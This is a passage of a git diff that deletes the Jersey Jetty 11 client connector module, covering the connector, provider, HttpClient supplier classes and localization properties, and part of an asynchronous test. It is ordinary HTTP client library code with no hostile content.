- * This transport supports both synchronous and asynchronous processing of client requests.
- * The following methods are supported: GET, POST, PUT, DELETE, HEAD, OPTIONS, TRACE, CONNECT and MOVE.
- * <p/>
- * Typical usage:
- * <p/>
- * <pre>
- * {@code
- * ClientConfig config = new ClientConfig();
- * Connector connector = new Jetty11Connector(config);
- * config.connector(connector);
- * Client client = ClientBuilder.newClient(config);
- *
- * // async request
- * WebTarget target = client.target("http://localhost:8080");
- * Future<Response> future = target.path("resource").request().async().get();
- *
- * // wait for 3 seconds
- * Response response = future.get(3, TimeUnit.SECONDS);
- * String entity = response.readEntity(String.class);
- * client.close();
- * }
- * </pre>
- * <p>
- * This connector supports only {@link org.glassfish.jersey.client.RequestEntityProcessing#BUFFERED entity buffering}.
- * Defining the property {@link ClientProperties#REQUEST_ENTITY_PROCESSING} has no effect on this connector.
- * </p>
- *
- * @author Arul Dhesiaseelan (aruld at acm.org)
- * @author Marek Potociar
- */
-public class JettyConnector implements Connector {
-
-    private static final Logger LOGGER = Logger.getLogger(JettyConnector.class.getName());
-
-    private final HttpClient client;
-    private final CookieStore cookieStore;
-    private final Configuration configuration;
-    private final Optional<Integer> syncListenerResponseMaxSize;
-
-    /**
-     * Create the new Jetty client connector.
-     *
-     * @param jaxrsClient JAX-RS client instance, for which the connector is created.
-     * @param config client configuration.
-     */
-    public JettyConnector(final Client jaxrsClient, final Configuration config) {
-        this.configuration = config;
-        HttpClient httpClient = getRegisteredHttpClient(config);
-
-        if (httpClient == null) {
-            final SSLContext sslContext = jaxrsClient.getSslContext();
-            final SslContextFactory.Client sslContextFactory = new SslContextFactory.Client(false);
-            sslContextFactory.setSslContext(sslContext);
-            final ClientConnector connector = new ClientConnector();
-            connector.setSslContextFactory(sslContextFactory);
-            final HttpClientTransport transport = initClientTransport(connector);
-            httpClient = new HttpClient(transport);
-        }
-        this.client = httpClient;
-
-        Boolean enableHostnameVerification = (Boolean) config.getProperties()
-                .get(JettyClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION);
-        if (enableHostnameVerification != null) {
-            final String verificationAlgorithm = enableHostnameVerification ? "HTTPS" : null;
-            client.getSslContextFactory().setEndpointIdentificationAlgorithm(verificationAlgorithm);
-        }
-        if (jaxrsClient.getHostnameVerifier() != null) {
-            client.getSslContextFactory().setHostnameVerifier(jaxrsClient.getHostnameVerifier());
-        }
-
-        final Object connectTimeout = config.getProperties().get(ClientProperties.CONNECT_TIMEOUT);
-        if (connectTimeout != null && connectTimeout instanceof Integer && (Integer) connectTimeout > 0) {
-            client.setConnectTimeout((Integer) connectTimeout);
-        }
-        final Object threadPoolSize = config.getProperties().get(ClientProperties.ASYNC_THREADPOOL_SIZE);
-        if (threadPoolSize != null && threadPoolSize instanceof Integer && (Integer) threadPoolSize > 0) {
-            final String name = HttpClient.class.getSimpleName() + "@" + hashCode();
-            final QueuedThreadPool threadPool = new QueuedThreadPool((Integer) threadPoolSize);
-            threadPool.setName(name);
-            client.setExecutor(threadPool);
-        }
-        Boolean disableCookies = (Boolean) config.getProperties().get(JettyClientProperties.DISABLE_COOKIES);
-        disableCookies = (disableCookies != null) ? disableCookies : false;
-
-        final AuthenticationStore auth = client.getAuthenticationStore();
-        final Object basicAuthProvider = config.getProperty(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION);
-        if (basicAuthProvider != null && (basicAuthProvider instanceof BasicAuthentication)) {
-            auth.addAuthentication((BasicAuthentication) basicAuthProvider);
-        }
-
-        final Optional<ClientProxy> proxy = ClientProxy.proxyFromConfiguration(config);
-        proxy.ifPresent(clientProxy -> {
-            final ProxyConfiguration proxyConfig = client.getProxyConfiguration();
-            final URI u = clientProxy.uri();
-            proxyConfig.addProxy(new HttpProxy(u.getHost(), u.getPort()));
-
-            if (clientProxy.userName() != null) {
-                auth.addAuthentication(new BasicAuthentication(u, "<<ANY_REALM>>",
-                        clientProxy.userName(), clientProxy.password()));
-            }
-        });
-
-        if (disableCookies) {
-            client.setCookieStore(new HttpCookieStore.Empty());
-        }
-
-        final Object slResponseMaxSize = configuration.getProperties()
-                .get(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE);
-        if (slResponseMaxSize != null && slResponseMaxSize instanceof Integer
-                && (Integer) slResponseMaxSize > 0) {
-            this.syncListenerResponseMaxSize = Optional.of((Integer) slResponseMaxSize);
-        }
-        else {
-            this.syncListenerResponseMaxSize = Optional.empty();
-        }
-
-        try {
-            client.start();
-        } catch (final Exception e) {
-            throw new ProcessingException("Failed to start the client.", e);
-        }
-        this.cookieStore = client.getCookieStore();
-    }
-
-    /**
-     * provides required HTTP client transport for client
-     *
-     * the default transport is {@link HttpClientTransportOverHTTP}
-     *
-     * @return instance of {@link HttpClientTransport}
-     * @since 2.41
-     */
-    protected HttpClientTransport initClientTransport(ClientConnector clientConnector) {
-        return new HttpClientTransportOverHTTP(clientConnector);
-    }
-
-    /**
-     * provides custom registered {@link HttpClient} if any (or NULL)
-     *
-     * @param config configuration where {@link HttpClient} could be registered
-     * @return {@link HttpClient} instance if any was previously registered or NULL
-     *
-     * @since 2.41
-     */
-    protected HttpClient getRegisteredHttpClient(Configuration config) {
-        if (config.isRegistered(JettyHttpClientSupplier.class)) {
-            Optional<Object> contract = config.getInstances().stream()
-                    .filter(a-> JettyHttpClientSupplier.class.isInstance(a)).findFirst();
-            if (contract.isPresent()) {
-                return  ((JettyHttpClientSupplier) contract.get()).getHttpClient();
-            }
-        }
-        return null;
-    }
-
-    /**
-     * Get the {@link HttpClient}.
-     *
-     * @return the {@link HttpClient}.
-     */
-    @SuppressWarnings("UnusedDeclaration")
-    public HttpClient getHttpClient() {
-        return client;
-    }
-
-    /**
-     * Get the {@link CookieStore}.
-     *
-     * @return the {@link CookieStore} instance or null when
-     * Jetty11ClientProperties.DISABLE_COOKIES set to true.
-     */
-    public CookieStore getCookieStore() {
-        return cookieStore;
-    }
-
-    @Override
-    public ClientResponse apply(final ClientRequest jerseyRequest) throws ProcessingException {
-        final Request jettyRequest = translateRequest(jerseyRequest);
-        final Map<String, String> clientHeadersSnapshot = new HashMap<>();
-        final ContentProvider entity =
-                getBytesProvider(jerseyRequest, jerseyRequest.getHeaders(), clientHeadersSnapshot, jettyRequest);
-        if (entity != null) {
-            jettyRequest.content(entity);
-        } else {
-            clientHeadersSnapshot.putAll(writeOutBoundHeaders(jerseyRequest.getHeaders(), jettyRequest));
-        }
-
-        try {
-            final ContentResponse jettyResponse;
-            if (!syncListenerResponseMaxSize.isPresent()) {
-                jettyResponse = jettyRequest.send();
-            }
-            else {
-                final FutureResponseListener listener
-                        = new FutureResponseListener(jettyRequest, syncListenerResponseMaxSize.get());
-                jettyRequest.send(listener);
-                jettyResponse = listener.get();
-            }
-            HeaderUtils.checkHeaderChanges(clientHeadersSnapshot, jerseyRequest.getHeaders(),
-                    JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration());
-
-            final jakarta.ws.rs.core.Response.StatusType status = jettyResponse.getReason() == null
-                    ? Statuses.from(jettyResponse.getStatus())
-                    : Statuses.from(jettyResponse.getStatus(), jettyResponse.getReason());
-
-            final ClientResponse jerseyResponse = new ClientResponse(status, jerseyRequest);
-            processResponseHeaders(jettyResponse.getHeaders(), jerseyResponse);
-            try {
-                jerseyResponse.setEntityStream(new HttpClientResponseInputStream(jettyResponse));
-            } catch (final IOException e) {
-                LOGGER.log(Level.SEVERE, null, e);
-            }
-
-            return jerseyResponse;
-        } catch (final Exception e) {
-            throw new ProcessingException(e);
-        }
-    }
-
-    private static void processResponseHeaders(final HttpFields respHeaders, final ClientResponse jerseyResponse) {
-        for (final HttpField header : respHeaders) {
-            final String headerName = header.getName();
-            final MultivaluedMap<String, String> headers = jerseyResponse.getHeaders();
-            List<String> list = headers.get(headerName);
-            if (list == null) {
-                list = new ArrayList<>();
-            }
-            list.add(header.getValue());
-            headers.put(headerName, list);
-        }
-    }
-
-    private static final class HttpClientResponseInputStream extends FilterInputStream {
-
-        HttpClientResponseInputStream(final ContentResponse jettyResponse) throws IOException {
-            super(getInputStream(jettyResponse));
-        }
-
-        private static InputStream getInputStream(final ContentResponse response) {
-            return new ByteArrayInputStream(response.getContent());
-        }
-    }
-
-    private Request translateRequest(final ClientRequest clientRequest) {
-
-        final URI uri = clientRequest.getUri();
-        final Request request = client.newRequest(uri);
-        request.method(clientRequest.getMethod());
-
-        request.followRedirects(clientRequest.resolveProperty(ClientProperties.FOLLOW_REDIRECTS, true));
-        final Object readTimeout = clientRequest.resolveProperty(ClientProperties.READ_TIMEOUT, -1);
-        if (readTimeout != null && readTimeout instanceof Integer && (Integer) readTimeout > 0) {
-            request.idleTimeout((Integer) readTimeout, TimeUnit.MILLISECONDS);
-        }
-
-        final Object totalTimeout = clientRequest.resolveProperty(JettyClientProperties.TOTAL_TIMEOUT, -1);
-        if (totalTimeout != null && totalTimeout instanceof Integer && (Integer) totalTimeout > 0) {
-            request.timeout((Integer) totalTimeout, TimeUnit.MILLISECONDS);
-        }
-
-        return request;
-    }
-
-    private Map<String, String> writeOutBoundHeaders(final MultivaluedMap<String, Object> headers, final Request request) {
-        final Map<String, String> stringHeaders = HeaderUtils.asStringHeadersSingleValue(headers, configuration);
-        final Consumer<HttpFields.Mutable> mutableConsumer = httpFields -> {
-            // remove User-agent header set by Jetty; Jersey already sets this in its request (incl. Jetty version)
-            httpFields.remove(HttpHeader.USER_AGENT);
-            for (final Map.Entry<String, String> e : stringHeaders.entrySet()) {
-                httpFields.put(e.getKey(), e.getValue());
-            }
-        };
-        request.headers(mutableConsumer);
-
-        return stringHeaders;
-    }
-
-    private ContentProvider getBytesProvider(final ClientRequest clientRequest,
-                                             final MultivaluedMap<String, Object> headers,
-                                             final Map<String, String> snapshot,
-                                             final Request request) {
-        final Object entity = clientRequest.getEntity();
-
-        if (entity == null) {
-            return null;
-        }
-
-        final ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
-        clientRequest.setStreamProvider(new OutboundMessageContext.StreamProvider() {
-            @Override
-            public OutputStream getOutputStream(final int contentLength) throws IOException {
-                snapshot.putAll(writeOutBoundHeaders(headers, request));
-                return outputStream;
-            }
-        });
-
-        try {
-            clientRequest.writeEntity();
-        } catch (final IOException e) {
-            throw new ProcessingException("Failed to write request entity.", e);
-        }
-        return new BytesContentProvider(outputStream.toByteArray());
-    }
-
-    private ContentProvider getStreamProvider(final ClientRequest clientRequest) {
-        final Object entity = clientRequest.getEntity();
-
-        if (entity == null) {
-            return null;
-        }
-
-        final OutputStreamContentProvider streamContentProvider = new OutputStreamContentProvider();
-        clientRequest.setStreamProvider(new OutboundMessageContext.StreamProvider() {
-            @Override
-            public OutputStream getOutputStream(final int contentLength) throws IOException {
-                return streamContentProvider.getOutputStream();
-            }
-        });
-        return streamContentProvider;
-    }
-
-    private void processContent(final ClientRequest clientRequest, final ContentProvider entity) throws IOException {
-        if (entity == null) {
-            return;
-        }
-
-        final OutputStreamContentProvider streamContentProvider = (OutputStreamContentProvider) entity;
-        try (final OutputStream output = streamContentProvider.getOutputStream()) {
-            clientRequest.writeEntity();
-        }
-    }
-
-    @Override
-    public Future<?> apply(final ClientRequest jerseyRequest, final AsyncConnectorCallback callback) {
-        final Request jettyRequest = translateRequest(jerseyRequest);
-        final Map<String, String> clientHeadersSnapshot = writeOutBoundHeaders(jerseyRequest.getHeaders(), jettyRequest);
-        final ContentProvider entity = getStreamProvider(jerseyRequest);
-        if (entity != null) {
-            jettyRequest.content(entity);
-        }
-        final AtomicBoolean callbackInvoked = new AtomicBoolean(false);
-        final Throwable failure;
-        try {
-            final CompletableFuture<ClientResponse> responseFuture = new CompletableFuture<ClientResponse>();
-            responseFuture.whenComplete(
-                    (clientResponse, throwable) -> {
-                        if (throwable != null && throwable instanceof CancellationException) {
-                            // take care of future cancellation
-                            jettyRequest.abort(throwable);
-
-                        }
-                    });
-
-            final AtomicReference<ClientResponse> jerseyResponse = new AtomicReference<>();
-            final ByteBufferInputStream entityStream = new ByteBufferInputStream();
-            jettyRequest.send(new Response.Listener.Adapter() {
-
-                @Override
-                public void onHeaders(final Response jettyResponse) {
-                    HeaderUtils.checkHeaderChanges(clientHeadersSnapshot, jerseyRequest.getHeaders(),
-                            JettyConnector.this.getClass().getName(), jerseyRequest.getConfiguration());
-
-                    if (responseFuture.isDone()) {
-                        if (!callbackInvoked.compareAndSet(false, true)) {
-                            return;
-                        }
-                    }
-                    final ClientResponse response = translateResponse(jerseyRequest, jettyResponse, entityStream);
-                    jerseyResponse.set(response);
-                }
-
-                @Override
-                public void onContent(final Response jettyResponse, final ByteBuffer content) {
-                    try {
-                        // content must be consumed before returning from this method.
-
-                        if (content.hasArray()) {
-                            byte[] array = content.array();
-                            byte[] buff = new byte[content.remaining()];
-                            System.arraycopy(array, content.arrayOffset(), buff, 0, content.remaining());
-                            entityStream.put(ByteBuffer.wrap(buff));
-                        } else {
-                            byte[] buff = new byte[content.remaining()];
-                            content.get(buff);
-                            entityStream.put(ByteBuffer.wrap(buff));
-                        }
-                    } catch (final InterruptedException ex) {
-                        final ProcessingException pe = new ProcessingException(ex);
-                        entityStream.closeQueue(pe);
-                        // try to complete the future with an exception
-                        responseFuture.completeExceptionally(pe);
-                        Thread.currentThread().interrupt();
-                    }
-                }
-
-                @Override
-                public void onComplete(final Result result) {
-                    entityStream.closeQueue();
-                    if (!callbackInvoked.get()) {
-                        callback.response(jerseyResponse.get());
-                    }
-                    responseFuture.complete(jerseyResponse.get());
-                }
-
-                @Override
-                public void onFailure(final Response response, final Throwable t) {
-                    entityStream.closeQueue(t);
-                    // try to complete the future with an exception
-                    responseFuture.completeExceptionally(t);
-                    if (callbackInvoked.compareAndSet(false, true)) {
-                        callback.failure(t);
-                    }
-                }
-            });
-            processContent(jerseyRequest, entity);
-            return responseFuture;
-        } catch (final Throwable t) {
-            failure = t;
-        }
-
-        if (callbackInvoked.compareAndSet(false, true)) {
-            callback.failure(failure);
-        }
-        CompletableFuture<Object> future = new CompletableFuture<>();
-        future.completeExceptionally(failure);
-        return future;
-    }
-
-    private static ClientResponse translateResponse(final ClientRequest jerseyRequest,
-                                                    final org.eclipse.jetty.client.api.Response jettyResponse,
-                                                    final NonBlockingInputStream entityStream) {
-        final ClientResponse jerseyResponse = new ClientResponse(Statuses.from(jettyResponse.getStatus()), jerseyRequest);
-        processResponseHeaders(jettyResponse.getHeaders(), jerseyResponse);
-        jerseyResponse.setEntityStream(entityStream);
-        return jerseyResponse;
-    }
-
-    @Override
-    public String getName() {
-        return "Jetty HttpClient " + Jetty.VERSION;
-    }
-
-    @Override
-    public void close() {
-        try {
-            client.stop();
-        } catch (final Exception e) {
-            throw new ProcessingException("Failed to stop the client.", e);
-        }
-    }
-}
\ No newline at end of file
diff --git a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
deleted file mode 100644
index 167683a..0000000
--- a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
+++ /dev/null
@@ -1,128 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.core.Configurable;
-import jakarta.ws.rs.core.Configuration;
-
-import org.glassfish.jersey.client.Initializable;
-import org.glassfish.jersey.client.spi.Connector;
-import org.glassfish.jersey.client.spi.ConnectorProvider;
-
-import org.eclipse.jetty.client.HttpClient;
-import org.glassfish.jersey.internal.util.JdkVersion;
-
-/**
- * A {@link ConnectorProvider} for Jersey {@link Connector connector}
- * instances that utilize the Jetty HTTP Client to send and receive
- * HTTP request and responses.
- * <p>
- * The following connector configuration properties are supported:
- * <ul>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#ASYNC_THREADPOOL_SIZE}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#CONNECT_TIMEOUT}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#FOLLOW_REDIRECTS}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_URI}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_USERNAME}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}</li>
- * <li>{@link JettyClientProperties#DISABLE_COOKIES}</li>*
- * <li>{@link JettyClientProperties#ENABLE_SSL_HOSTNAME_VERIFICATION}</li>
- * <li>{@link JettyClientProperties#PREEMPTIVE_BASIC_AUTHENTICATION}</li>
- * <li>{@link JettyClientProperties#SYNC_LISTENER_RESPONSE_MAX_SIZE}</li>
- * </ul>
- * </p>
- * <p>
- * This transport supports both synchronous and asynchronous processing of client requests.
- * The following methods are supported: GET, POST, PUT, DELETE, HEAD, OPTIONS, TRACE, CONNECT and MOVE.
- * </p>
- * <p>
- * Typical usage:
- * </p>
- * <pre>
- * {@code
- * ClientConfig config = new ClientConfig();
- * config.connectorProvider(new JettyConnectorProvider());
- * Client client = ClientBuilder.newClient(config);
- *
- * // async request
- * WebTarget target = client.target("http://localhost:8080");
- * Future<Response> future = target.path("resource").request().async().get();
- *
- * // wait for 3 seconds
- * Response response = future.get(3, TimeUnit.SECONDS);
- * String entity = response.readEntity(String.class);
- * client.close();
- * }
- * </pre>
- * <p>
- * Connector instances created via Jetty HTTP Client-based connector provider support only
- * {@link org.glassfish.jersey.client.RequestEntityProcessing#BUFFERED entity buffering}.
- * Defining the property {@link org.glassfish.jersey.client.ClientProperties#REQUEST_ENTITY_PROCESSING} has no
- * effect on Jetty HTTP Client-based connectors.
- * </p>
- *
- * @author Arul Dhesiaseelan (aruld at acm.org)
- * @author Marek Potociar
- * @since 2.5
- */
-public class JettyConnectorProvider implements ConnectorProvider {
-
-    @Override
-    public Connector getConnector(Client client, Configuration runtimeConfig) {
-        if (JdkVersion.getJdkVersion().getMajor() < 11) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
-        return new JettyConnector(client, runtimeConfig);
-    }
-
-    /**
-     * Retrieve the underlying Jetty {@link HttpClient} instance from
-     * {@link org.glassfish.jersey.client.JerseyClient} or {@link org.glassfish.jersey.client.JerseyWebTarget}
-     * configured to use {@code JettyConnectorProvider}.
-     *
-     * @param component {@code JerseyClient} or {@code JerseyWebTarget} instance that is configured to use
-     *                  {@code JettyConnectorProvider}.
-     * @return underlying Jetty {@code HttpClient} instance.
-     *
-     * @throws IllegalArgumentException in case the {@code component} is neither {@code JerseyClient}
-     *                                            nor {@code JerseyWebTarget} instance or in case the component
-     *                                            is not configured to use a {@code JettyConnectorProvider}.
-     * @since 2.8
-     */
-    public static HttpClient getHttpClient(Configurable<?> component) {
-        if (!(component instanceof Initializable)) {
-            throw new IllegalArgumentException(
-                    LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName()));
-        }
-
-        final Initializable<?> initializable = (Initializable<?>) component;
-        Connector connector = initializable.getConfiguration().getConnector();
-        if (connector == null) {
-            initializable.preInitialize();
-            connector = initializable.getConfiguration().getConnector();
-        }
-
-        if (connector instanceof JettyConnector) {
-            return ((JettyConnector) connector).getHttpClient();
-        }
-
-        throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED());
-    }
-}
diff --git a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
deleted file mode 100644
index 95782f2..0000000
--- a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import org.eclipse.jetty.client.HttpClient;
-import org.glassfish.jersey.spi.Contract;
-
-/**
- * A contract that allows for an optional registration of user predefined Jetty {@code HttpClient}
- * that is consequently used by {@link JettyConnector}
- */
-@Contract
-public interface JettyHttpClientContract {
-    /**
-     * Supply a user predefined HttpClient
-     * @return a user predefined HttpClient
-     */
-    HttpClient getHttpClient();
-}
diff --git a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
deleted file mode 100644
index de6453b..0000000
--- a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-package org.glassfish.jersey.jetty.connector;
-
-import org.eclipse.jetty.client.HttpClient;
-
-/**
- * Jetty HttpClient supplier to be registered into Jersey configuration to be used by {@link JettyConnector}.
- * Not every possible configuration option is covered by the Jetty Connector and this supplier offers a way to provide
- * an HttpClient that has configured the options not covered by the Jetty Connector.
- * <p>
- *     Typical usage:
- * </p>
- * <pre>
- * {@code
- * HttpClient httpClient = ...
- *
- * ClientConfig config = new ClientConfig();
- * config.connectorProvider(new JettyConnectorProvider());
- * config.register(new JettyHttpClientSupplier(httpClient));
- * Client client = ClientBuilder.newClient(config);
- * }
- * </pre>
- * <p>
- *     The {@code HttpClient} is configured as if it was created by {@link JettyConnector} the usual way.
- * </p>
- */
-public class JettyHttpClientSupplier implements JettyHttpClientContract {
-    private final HttpClient httpClient;
-
-    /**
-     * {@code HttpClient} supplier to be optionally registered to a {@link org.glassfish.jersey.client.ClientConfig}
-     * @param httpClient a HttpClient to be supplied when {@link JettyConnector#getHttpClient()} is called.
-     */
-    public JettyHttpClientSupplier(HttpClient httpClient) {
-        this.httpClient = httpClient;
-    }
-
-    @Override
-    public HttpClient getHttpClient() {
-        return httpClient;
-    }
-}
diff --git a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/package-info.java b/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/package-info.java
deleted file mode 100644
index 8416cf4..0000000
--- a/connectors/jetty11-connector/src/main/java/org/glassfish/jersey/jetty/connector/package-info.java
+++ /dev/null
@@ -1,21 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-/**
- * Jersey client {@link org.glassfish.jersey.client.spi.Connector connector} based on the
- * Jetty Client.
- */
-package org.glassfish.jersey.jetty.connector;
diff --git a/connectors/jetty11-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties b/connectors/jetty11-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties
deleted file mode 100644
index aacb267..0000000
--- a/connectors/jetty11-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties
+++ /dev/null
@@ -1,21 +0,0 @@
-#
-# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
-#
-# This program and the accompanying materials are made available under the
-# terms of the Eclipse Public License v. 2.0, which is available at
-# http://www.eclipse.org/legal/epl-2.0.
-#
-# This Source Code may also be made available under the following Secondary
-# Licenses when the conditions for such availability set forth in the
-# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
-# version 2 with the GNU Classpath Exception, which is available at
-# https://www.gnu.org/software/classpath/license.html.
-#
-# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
-#
-
-# {0} - HTTP method, e.g. GET, DELETE
-method.not.supported=Method {0} not supported.
-invalid.configurable.component.type=The supplied component "{0}" is not assignable from JerseyClient or JerseyWebTarget.
-expected.connector.provider.not.used=The supplied component is not configured to use a JettyConnectorProvider.
-not.supported=Jetty connector is not supported on JDK version less than 11.
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AsyncTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AsyncTest.java
deleted file mode 100644
index 8755aaf..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/AsyncTest.java
+++ /dev/null
@@ -1,201 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.util.concurrent.Future;
-import java.util.concurrent.TimeUnit;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.container.AsyncResponse;
-import jakarta.ws.rs.container.Suspended;
-import jakarta.ws.rs.container.TimeoutHandler;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.hamcrest.Matchers;
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.hamcrest.MatcherAssert.assertThat;
-
-/**
- * Asynchronous connector test.
- *
- * @author Arul Dhesiaseelan (aruld at acm.org)
- * @author Marek Potociar
- */
-public class AsyncTest extends JerseyTest {
-    private static final Logger LOGGER = Logger.getLogger(AsyncTest.class.getName());
-    private static final String PATH = "async";
-
-    /**
-     * Asynchronous test resource.
-     */
-    @Path(PATH)
-    public static class AsyncResource {
-        /**
-         * Typical long-running operation duration.
-         */
-        public static final long OPERATION_DURATION = 1000;
-
-        /**
-         * Long-running asynchronous post.
-         *
-         * @param asyncResponse async response.
-         * @param id            post request id (received as request payload).
-         */
-        @POST
-        public void asyncPost(@Suspended final AsyncResponse asyncResponse, final String id) {
-            LOGGER.info("Long running post operation called with id " + id + " on thread " + Thread.currentThread().getName());
-            new Thread(new Runnable() {
-
-                @Override
-                public void run() {
-                    String result = veryExpensiveOperation();
-                    asyncResponse.resume(result);
-                }
-
-                private String veryExpensiveOperation() {
-                    // ... very expensive operation that typically finishes within 1 seconds, simulated using sleep()
-                    try {
-                        Thread.sleep(OPERATION_DURATION);
-                        return "DONE-" + id;
-                    } catch (InterruptedException e) {
-                        Thread.currentThread().interrupt();
-                        return "INTERRUPTED-" + id;
-                    } finally {
-                        LOGGER.info("Long running post operation finished on thread " + Thread.currentThread().getName());
-                    }
-                }
-            }, "async-post-runner-" + id).start();
-        }
-
-        /**
-         * Long-running async get request that times out.
-         *
-         * @param asyncResponse async response.
-         */
-        @GET
-        @Path("timeout")
-        public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) {
-            LOGGER.info("Async long-running get with timeout called on thread " + Thread.currentThread().getName());
-            asyncResponse.setTimeoutHandler(new TimeoutHandler() {
-
-                @Override
-                public void handleTimeout(AsyncResponse asyncResponse) {
-                    asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE)
-                            .entity("Operation time out.").build());
-                }
-            });
-            asyncResponse.setTimeout(1, TimeUnit.SECONDS);
-            asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE)
